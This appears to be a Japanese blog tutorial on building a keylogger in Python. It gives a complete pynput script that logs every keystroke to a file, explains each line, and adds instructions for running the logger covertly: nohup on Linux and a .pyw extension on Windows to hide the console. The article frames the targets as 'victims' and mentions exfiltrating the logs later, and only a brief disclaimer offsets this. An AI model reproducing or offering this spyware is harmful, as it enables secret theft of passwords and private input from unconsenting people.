今日はPythonのキーロガーを作る作業をします。
キーロガーは、ハッカーの道具箱の中で最も一般的なツールの一つです。
実際、最も基本的なツールの一つで、非常に簡単に作ることができます。
このモジュールでは、非常に効果的かつ正確なキーロガーのコーディング方法を学びます。
必要なライブラリのインストール
始める前に、特定のライブラリをインストールする必要がありますが、これはpipコマンドで行います。
$ sudo pip3 install pynput |
これで、コードを書き続けることができるようになりました。
たった10行でPythonのキーロガーを実装する
1
2
3
4
5
6
7
8
9
10
|
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename = ( "keylog.txt" ), level = logging.DEBUG, format = " %(asctime)s - %(message)s" )
def on_press(key):
logging.info( str (key))
with Listener(on_press = on_press) as listener :
listener.join()
|
コードの説明
コードの説明だけでは飽き足らないでしょう。
それぞれの行が何をするのか理解し、自分で作るための準備をしましょう。
1-2行目: 必要なライブラリのインポート
1
2
|
from pynput.keyboard import Key, Listener
import logging
|
このコードを動作させるためには、以下のライブラリが必要です。
- pynput。これはユーザが入力するキーストロークを読み取るのに役立ちます。
- logging: これはキーストロークをファイルに記録し、後で適切な手段で流出させることができます。
4行目 ログの基本設定
4
|
logging.basicConfig(filename = ( "keylog.txt" ), level = logging.DEBUG, format = " %(asctime)s - %(message)s" )
|
ここでは、ロギングシステムの基本的な設定を行います。
キー入力を記録するファイル名をkeylog.txtとし、キー入力を保存する形式を指定します。
YY-MM-DD HH-MM-SS(ms) - KEY |
6-7行目:機能を定義する
6
7
|
def on_press(key):
logging.info( str (key))
|
ここで定義された関数は、ユーザーが押したキーを引数として受け取り、それを文字列に変換してファイルに記録します。
9-10行目 キーストロークの取得
9
10
|
with Listener(on_press = on_press) as listener :
listener.join()
|
まず、キーストロークを記録するListenerのインスタンスを作成し、作成した関数を引数として渡します。
そして、.join()
メソッドを使ってメインスレッドに参加させています。
こうしてキーが押されるたびにListenerが起動し、関数が呼び出されてキーストロークがファイルに記録されます。
この記事もチェック:Pythonのmapメソッドの使い方|ラムダ関数や引数が複数の場合の使い方も解説
Pythonキーロガーの実行
で実行することができます。
$ python3 keylogger.py |
プログラムを起動すると、カレントディレクトリに新しいファイルkeylog.txtが作成されることに気づくでしょう。
$ nohup python3 keylogger.py & |
Pythonキーロガーをこっそりと実行する
お分かりのように、コードを実行する最後の方法は、あまりステルスではありませんでしたので、もう少し効果的にするために、次のトリックを採用することができます。
Linux/Unixの場合
誰にも気づかれずにコードを実行するには、単に次のように実行すればよい。
これは、ターミナルが閉じた後でも、キーストロークを記録しながらコードを実行させます!
Windowsの場合
Windows では、ファイルの拡張子を .py
から .pyw
に変更し、ファイルをダブルクリックするだけで、ターミナルがポップアップされずに実行することができます。
このプログラムはバックグラウンドで実行され、以後キーを押すたびにログが記録されます。
まとめ
犠牲者のキー入力を記録するための、短くて効果的なPythonキーロガーを作成しました。
しかし、これはあくまで教育目的であり、悪意のある目的には使用しないでください。
参考文献 – Pynputモジュール公式ドキュメント